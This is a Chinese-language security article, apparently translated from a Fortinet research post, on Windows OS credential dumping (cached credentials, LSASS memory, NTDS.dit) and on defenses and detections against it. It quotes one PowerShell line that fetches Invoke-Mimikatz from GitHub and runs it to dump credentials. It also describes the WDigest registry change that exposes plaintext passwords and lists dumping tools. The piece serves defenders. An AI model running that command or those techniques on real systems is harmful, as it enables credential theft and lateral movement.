当前位置: 首页 > 科技观察

攻击和防御的双刃剑:探索操作系统凭证转储的两个方面

时间:2023-03-18 22:14:46 科技观察

介绍在这篇文章中,我们将了解Windows凭证的一些简洁用途。具体来说,我们将重点关注一种称为“操作系统凭据转储”的技术。从本质上讲,如果威胁在我们的环境中实现了横向移动,那么背后的威胁参与者很可能已经执行了某种类型的凭据转储,以允许他们在系统之间跳跃。因此,了解如何检测和预防此类技术非常重要。如果您熟悉MITREATT&CK框架,您可能会疑惑:“这种攻击技术的名称实际上应该称为凭据转储吗?”的确如此,但由于记录在该类别中的技术数量仍在增长,MITRE决定将所有知识库分解为子技术。现在,我们仍然可以在“凭据访问”页面中找到该具体技术,但它包含的八个子技术已经更新。我们不会在本文中涵盖所有这些技术,而是重点介绍与Windows相关的三种技术。关于Windows凭据Windows操作系统在许多不同的地方存储或缓存其凭据。以下是它存储的一些Windows凭据类型,以及您可以在何处找到它们:1.安全帐户管理器(SAM)数据库SAM数据库是一个存在于所有Windows系统上的文件。此文件包含所有已创建的帐户,以及存在于Windows操作系统(XP、Vista、Win7、Win8.1、Win10)上的所有内置帐户。在这里,密码存储为散列(NT密码散列)。2.其他文件我们还可以在各种文件中找到密码,包括配置文件和用户创建的文件(通常是明文)。某些日志文件可能包含凭据信息,例如安装程序日志,有时可以在崩溃报告中找到它们。3.缓存凭据域凭据存储在注册表中,以允许用户在未连接到域时登录到他们的系统。Windows系统缓存最后10个登录哈希值,默认情况下某些位置最多可以存储25个。这个数字可以在注册表中配置。4.LocalSecurityAuthority(LSA)LSASecrets存储在注册表中,允许服务以用户权限运行。这些服务包括VPN、计划任务、自动登录、备份服务器帐户、IIS网站等。它们以加密形式存储在“Security/Policy/Secrets”注册表中。5.当本地安全机构子系统服务进程(LSASS)登录到本地或域中的Windows计算机时,凭据将存储在LSASS进程的内存中。这主要用于允许用户访问他们有权访问的网络上的其他资源,而无需重新验证。存储的格式可以是纯文本、NT和LM哈希以及Kerberos票证。6.CredentialStoreManager此管理器适用于Windows7及更高版本。它基本上是一个数字保险库,允许用户“安全地”存储用户凭证。所有凭据都存储在Windows系统上的特定文件夹中。Windows和Web凭据都可以存储在这里。7、ActiveDirectory域数据库(NTDS.DIT??)该数据库存储了ActiveDirectory域环境中每个ActiveDirectory域控制器服务器上的用户和计算机的所有凭据,即%SystemRoot%\NTDS文件夹。操作系统凭据转储攻击技术正如我们所见,Windows操作系统以各种格式将凭据存储在不同的位置,这为攻击者在破坏凭据时提供了多种选择。正如我们之前提到的,凭据转储攻击通常是攻击者使用的一系列技术中的第一个,以允许威胁参与者在环境中横向移动。一旦获得正确的访问权限,攻击者就可以弄清楚如何将恶意负载复制到系统并找到远程执行它的方法。然后,攻击者将旨在重复相同的步骤来感染更多主机。这可能是一个手动过程,但在大多数情况下,攻击者会选择自动执行。之所以特别提到这一点,是因为如果我们在实际紧急情况下发现了本文讨论的任何凭证转储技术,那么在接下来的两个横向移动步骤中寻找额外的证据是非常必要的。一种方法是检查日志中是否存在Psexec.exe和Psexesvc.exe被用于远程复制和执行恶意软件的迹象。Psexec是一个MicrosoftSysinternals工具,用于在其他系统上复制和执行进程或文件。这个工具对于远程管理非常有用。威胁参与者还可以利用此工具通过SMB恶意软件复制和执行远程系统功能。我突出显示psexecsvc.exe文件的原因是当psexec.exe运行时,它会将psexecsvc.exe文件复制到远程系统,然后将其作为服务启动。需要注意的是,我们在查找该活动时,可以重点关注发送恶意文件的主机使用psexec.exe,接收并执行恶意文件的主机使用psexecsvc.exe,这是一个典型的特征。如果你想了解更多关于横向移动的三个步骤,请阅读2018年的《Thrip ATP攻击更新》文章。现在,让我们将注意力重新集中在凭证转储技术上。使用PsExec命令复制和执行文件:根据MITREATT&CK知识库,有8种不同的转储操作系统凭据的技术。但是,由于本文篇幅所限,我们将只讨论与Windows相关的三种技术。攻击技巧一:缓存域凭据如前所述,当Windows操作系统配置为登录到ActiveDirectory(AD)域时,系统最多存储最后25个登录凭据(取决于操作系统版本,默认配置可以被调整),所以我们在无法连接到AD域时仍然可以登录。值得注意的是,这些缓存的凭证在重启后不会消失。这些凭据是持久的,它们以Mscach2格式存储在注册表(HKLM\Security配置单元)中。我们可以使用多种工具从注册表中提取缓存的凭据,例如cachedump、Metasploit、PWDumpx和creddump。如果攻击者成功转储了缓存的凭据,则他们需要使用密码破解工具(例如预先计算的彩虹表或JohnRipper)暴力破解哈希以获得真实密码,这也是登录另一个用户所必需的。一个系统所必需的。最后,如果要提取缓存的域凭据,攻击者还需要具有SYSTEM权限。攻击技巧二:LSASS内存由于NT/LM和KerberosTickets等哈希凭证存储在内存中,即在LSASS进程中,具有适当访问级别(管理员)的威胁参与者可以使用各种免费提供的工具进行转储哈希,这些工具包括Mimikatz和WindowsCredentialsEditor。在内存中,也可以轻松找到TsPkg、WDigest和LiveSSP。这些可以很容易地解密,从而产生纯文本密码。我们可以在这里找到更多信息。与缓存的域凭据不同,一旦用户注销,内存中的哈希就不再存在。在某些情况下,哈希可能在用户注销后仍然可用,因为应用程序或进程仍在使用哈希。但是,在大多数情况下,攻击者必须登录才能窃取用户的凭据。因此,这提醒我们在日常使用计算机时,不要以管理员身份(尤其是域管理员)登录。如果攻击者在域管理员登录期间成功发起攻击,则攻击者将能够获得指向整个域的密钥。此外,这些转储的哈希值可用于在另一个系统上验证明文密码,而无需暴力破解,这是一种称为“传递哈希值”的技术。这种类型的攻击仅适用于NTLM身份验证,但NTLM身份验证在当今许多现代系统中都可用。我们将在稍后的视频中演示如何重现“传递哈希”技术。攻击技巧3:NTDS当攻击者在环境中建立初始立足点时,他们通常会寻找具有域控制器(DC)角色的服务器。这是因为每个DC上存在的NTDS.DIT??文件包含所有用户和计算机帐户的哈希值。如果攻击者掌握了这些信息,他们将可以自由控制AD域中的所有资源。数据库中包含的哈希是NT格式,但也可能是LM格式,具体取决于所使用的系统版本。此外,密码历史记录在NTDS.DIT??文件中可用。要获得访问权限,攻击者需要域访问权限。这也意味着如果攻击者成功获得了这个权限,我们将面临更大的风险。提取凭据的过程很困难,因为文件正在使用中并且文件已锁定。然后攻击者需要对磁盘本身进行原始访问,这可以通过驱动程序完成。此外,一些攻击者可以通过卷影复制获得该文件。随着最近勒索软件的流行,我们可能已经看到许多攻击者删除卷影副本的实例。FortiGuardLabs发表了一篇非常好的文章,名为《Stomping Shadow Copies》,其中讨论了用于实现此目的的不同方法。然而,在我们的攻击场景中,攻击者将提取卷影副本,如果发现卷影副本不存在则创建一个。攻击者的另一个障碍是他们还需要收集SAM和SYSTEM注册表信息来解密NTDS数据库的内容。我们在这里只讨论了其中三种技术,但您可以想象,攻击者可以通过更多方式根据凭据在Windows中的存储位置来窃取凭据。操作系统凭证转储防御技术除了选择一些可靠厂商的工具外,我们还可以通过一些配置来实现对上述攻击的防御。1.限制管理员访问攻击者使用的许多技术都需要管理员或域管理员权限才能执行。因此,我们需要确保每个用户都以普通用户身份登录,这将有助于抵御这些攻击。2.使用唯一的本地管理员帐户密码如果我们在所有工作站上使用相同的本地管理员帐户密码,攻击者只需要破坏其中一个帐户就可以获得其他帐户的管理员访问权限。为防止这种情况,您可以使用唯一的本地管理员密码对其进行限制,从而使攻击者难以横向移动。为此,请尝试Microsoft的本地管理员密码解决方案(LAPS)。这是一个密码管理器,它利用ActiveDirectory来管理和轮换工作站上本地管理员帐户的密码。3.避免使用高权限帐户进行远程交互会话当我们以交互方式(控制台登录、RDP或runas)登录Windows设备时,哈希值会出现在内存中,尤其是在服务器上。因此,需要在这方面尽量限制。4、使用CredentialGuard这是Windows10引入的新特性,可以通过虚拟化隔离LSASS进程。原则上,它在一个虚拟容器中运行,该容器创建一个名为LSAIso的代理,以允许与隔离的LSASS进程进行通信。值得注意的是,即使拥有管理员权限,我们也无法利用此保护来转储凭据。这可能是针对操作系统凭据转储的最有效防御措施之一。5.限制缓存登录账号的数量对于缓存账号,可以限制在注册表中存储的登录数量。这不是一个完美的解决方案,但它有帮助。6.执行严格的密码策略(长度和复杂性)如果凭据被盗,需要离线解密,密码越长越复杂,成功破解所需的时间就越长。需要注意的是,上述所有防御措施都可以被绕过,包括CredentialGuard,但在我们应用上述缓解措施后,会使攻击者的攻击过程更加困难。实际示例和检测如今的威胁行为者越来越多地使用上述技术来窃取操作系统凭据。由于用于窃取OS密码的开源工具太多,许多威胁参与者选择使用开源版本而不是开发自己的工具。下面的第一个示例来自FortiGuardLabs2018年发表的一篇名为?的文章。Trickbot使用开源工具Mimikatz从内存中的LSASS进程中提取密码。具体来说,它会尝试以纯文本形式窃取WDigest凭据。然而,挑战在于,自Windows8.1发布以来,微软引入了一种减轻攻击的方法,方法是创建一个可以在新注册表项中设置的开关,以防止将凭据存储在内存中。HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential如果将注册表值设置为“0”,则可以禁用内存中的凭据。如果将其设置为“1”,某些服务将依赖WDigest身份验证。为了解决这个问题,恶意软件确保将注册表值设置为“1”,从而启用WDigest身份验证。下图是文章的节选。恶意软件修改注册表设置以启用WDigest身份验证:虽然此活动很容易执行,但此设置在用户再次登录后才会生效。攻击者提出的解决方案是锁定屏幕并强制用户再次提供该凭据。由于该限制已将注册表值设置为“启用WDigest身份验证”,因此凭据存储在内存中,攻击者可以使用Mimikatz工具将其提取出来。下图说明了这个过程。操作系统检查并锁屏例程:ScreenLocker模块的主要功能是锁住用户的屏幕:该函数在内存中加载并执行Mimikatz库以提取凭据:在另一个示例中,我们看到威胁参与者有时会使用后开发框架工具,其中包含各种开源模块,例如PowerShellEmpire。虽然开源项目不再维护,但仍然可用。FortiResponder团队之前在野外看到过这种利用,调用Mimikatz的PowerShell脚本可能如下所示:PSC:\Windows\\\\system32>IEX(New-ObjectNet.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/7a39a55f127b1aeb951b3d9d80c6dc64500cacb5/data/module_source/credentials/Invoke-Mimikatz.ps1");$m=Invoke-Mimikatz-DumpCreds;$m可以看到,这个内容已经超过了中原执行的GitHub项目运行Mimikatz的PowerShell脚本。我们的FortiEDR技术通常可以阻止这个可疑进程与目标通信,如下图所示。FortiEDR阻止来自可疑应用程序的通信:由于许多开源工具被恶意软件广泛使用,如果我们能够识别这些免费工具并阻止它们,也会有所帮助。使用FortiEDR,我们可以进行执行前和执行后的阻塞,包括Mimikatz的使用,如下图所示。FortiEDR在执行前阻止Mimikatz.exe:FortiEDR在执行后阻止Mimikatz工具:像往常一样,我们的FortiSIEM客户也可以利用许多预定义规则来检测操作系统凭证转储,包括使用高级Windows代理技术的LSASS进程篡改,以及检测卷影副本上的可疑活动,这将帮助我们发现攻击者试图从NTDS.dit文件中窃取凭据的行为。以下是LSASS规则和检测日志的示例,以及所使用的MITREATT&CK策略和技术的概览图。如果技术链能有效地整合起来,那将是非常有帮助的。FortiSIEMLSASS进程篡改规则:在LSASS篡改时触发的FortiSIEM事件:FortiSIEMMITREATT&CK战术视图:我们的检测始终围绕恶意软件使用嵌入式开源工具的事件进行,如果我们怀疑可能存在操作系统凭证转储事件,您还可以检查一些Windows事件查看器中的条目。1.找到创建的新进程——事件ID4688在此事件记录中,检查是否存在攻击者可能使用的各种开源工具,包括:Mimikatz、PWdumpX、Creddump、WindowsCredentialEditor(WCE)、Cachedump、Metasploit、NTDSXtract、Ntdsdump和Vssown。有很多资源可以检查凭证转储的工具,例如:https://pentestlab.blog/tag/vssown/。2.检查LSASS进程检查此进程是否存在任何可能表明试图从内存中窃取凭据的篡改。3.检查Vssadmin的使用由于Vssadmin可用于管理卷影副本,因此可以检查可执行文件是否有任何活动迹象。例如,攻击者可以创建卷影副本并安装NTDS.DIT??文件。攻击和防御技术的再现尝试模拟操作系统凭据转储技术可能需要一些时间,因为有多种技术和工具可用于实现操作系统凭据盗窃。根据我们的经验,由于这些工具使用的名称很容易被攻击者修改,因此在检测过程中不建议重点关注工具名称,而是更多关注此类工具产生的活动。我们想要找到本质上更倾向于静态的活动。下面我们将介绍一些可用于重现攻击技术的模拟和开源工具。攻击模拟工具AtomicRedTeam是测试MITREATT&CK技术的优秀工具,AtomicTests列表如下所示。原子科技测试榜单:开源防御测试工具目前,有很多开源工具可以用来模拟操作系统凭证转储防御。我们还在上面提到了其中一些工具,并将在此处再次列出它们:MetasploitMimikatzFgdumpGsecdumpPWDumpXCreddumpWCECachedumpNTDSXtractNtdsdumpVssOwn.vbs作为一个简单的例子,我录制了下面的两个视频。第一个视频展示了如何使用一个名为hashdump的简单工具,它是Metasploitmeterpreter的一部分,因此我们需要一个meterpreter会话和系统权限才能在复制的机器上站稳脚跟。该工具将从SAM数据库转储信息,例如凭证哈希。第二个视频展示了如何在环境中找到其他可用系统,以及如何使用哈希传递技术使用窃取的凭据横向移动到其他系统。演示视频1:https://youtu.be/FSdZ2I3au3M演示视频2:https://youtu.be/C17S3JnCGCM结论在本文中,我们重点介绍了攻击者可用来窃取操作系统凭据的一些技术。正如我在帖子中提到的,我们必须意识到,拥有正确的凭据通常是攻击者在环境中横向移动的必要条件。因此,为了抵御此类工具,我们首先需要测试安全产品,以确保它们能够阻止或检测任何可能导致其他环境进一步受损的技术。同时,当今流行的恶意软件中嵌入了许多开源工具,因此我们也必须熟悉这些工具,以尽可能多地发现它们存在于系统中的细微迹象。正如我们在本系列的前言中所说,在我们测试每种操作系统凭据转储技术时,我们不仅要了解该技术,还要能够重现它,这一点至关重要。完成此步骤后,我们需要监控我们的安全控制,评估任何差距,并在实施之前记录所需的改进。解决方案和缓解措施首先,建议及时了解威胁的最新发展,为此,您可以随时寻求咨询合作伙伴或供应商的帮助,以确保您拥有适当的安全控制和安全服务来应对威胁。应对最新的威胁。用户可以部署EDR、MDR、UEBA等解决方案来识别这些风险并识别相关的恶意活动。同时,解决方案也可用于检测网络内的横向移动。通过订阅我们的每周威胁时事通讯,了解有关威胁研究、安全订阅和服务产品的更多信息。了解网络安全培训计划或网络专家计划,以加强安全能力培训和意识教育。